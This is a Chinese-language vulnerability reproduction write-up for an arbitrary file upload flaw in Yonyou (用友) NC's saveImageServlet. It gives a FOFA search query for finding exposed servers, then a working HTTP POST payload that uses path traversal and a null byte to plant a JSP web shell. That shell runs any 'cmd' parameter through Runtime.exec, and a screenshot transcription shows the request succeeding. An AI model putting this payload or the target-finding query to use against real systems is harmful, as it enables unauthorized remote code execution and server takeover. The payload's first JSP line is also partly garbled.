Y4-79用友-NC-文件上传

漏洞描述:

用友 NC saveImageServlet 接口处存在任意文件上传漏洞,攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个 web 服务器。

用友网络科技股份有限公司-NCversion<=6.5受影响

网站图片:









连接

与企业应用的链接优化,并支持企业应用在终端上的自 验相关的端服务,并对提供的服务进行应用优化。 动手级

体验 UClient 提供全新客户端,消除浏览器依赖,完成用户 UClient 打造一个面向企业的端服务平台,提供改善体 社交

UClient 通过嵌入社交协同能力,建立企业用户之间的 连接,提供企业间数据共享和连接的服务,形成基于1 业服务云平台的企业社交网络。

版权所有© 2015 用友网络科技股份有限公司

网络测绘:

fofa语法:

FOFA: app="用友-UFIDA-NC"

漏洞复现:

payload:

POST /portal/pt/servlet/saveImageServlet/doPost?pageId=login&filename=../rce.jsp%00 HTTP/1.1

Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Content-Type: application/octet-stream

<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>print("prin

效果图:

```
⟨ 数据包扫描 美化 熱加载 构造请求 ※
Request
                                                                                                                                     Responses https Obytes / 296ms
        POST·/portal/pt/servlet/saveImageServlet/doPost?pageId=login&filename=../rce.jsp%00·HTTP/1.1
                                                                                                                                      1 HTTP/1.1-200-0K
                                                                                                                                             Server: openresty
Date: Fri, 12 Apr 2024 01:20:52 GMT
        Host:
        User-Agent: ·Mozilla/5.0 · (Windows ·NT ·10.0; ·Win64; ·x64) ·AppleWebKit/537.36 · (KHTML, ·like ·Gecko) · Chrome/
        83.0.4103.116 Safari/537.36
                                                                                                                                              Content-Type: application/octet-stream; cha
                                                                                                                                             Connection: keep-alive
Set-Cookie: JSESSIONID=47A7E61CB25318B9A78
        Content-Type: application/octet-stream
        <% java.io.InputStream in == Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();</pre>
        int:a:=:-1;byte[]:b:=:new:byte[2048];out.print("");while((a=in.read(b))!=-1){out.println(new:String(b,0,a));}out.print("");new:java.io.File(application.getRealPath(request.getServletPath
                                                                                                                                             X-UA-Compatible: IE=8,9,10
Strict-Transport-Security: max-age=3153600
        ())).delete();%>
```

验证url

/portal/processxml/上传文件名

